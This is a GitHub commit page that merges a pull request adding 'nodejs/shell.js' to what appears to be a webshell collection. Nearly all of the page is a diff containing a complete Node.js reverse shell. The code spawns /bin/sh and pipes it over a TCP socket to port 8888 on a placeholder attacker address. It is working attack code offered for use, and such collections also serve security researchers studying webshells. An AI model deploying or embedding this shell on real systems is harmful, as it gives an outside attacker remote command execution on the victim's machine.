Skip to content

Commit

Permalink
Merge pull request tennc#30 from shellfeel/master
Browse files Browse the repository at this point in the history
 增加nodejs的shell
  • Loading branch information
tennc authored Dec 27, 2018
2 parents 67b6b11 + 0bb079d commit 5c0dc00
Showing 1 changed file with 12 additions and 0 deletions.
12 changes: 12 additions & 0 deletions nodejs/shell.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh",[]);
var client = new net.Socket();
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();

0 comments on commit 5c0dc00

Please sign in to comment.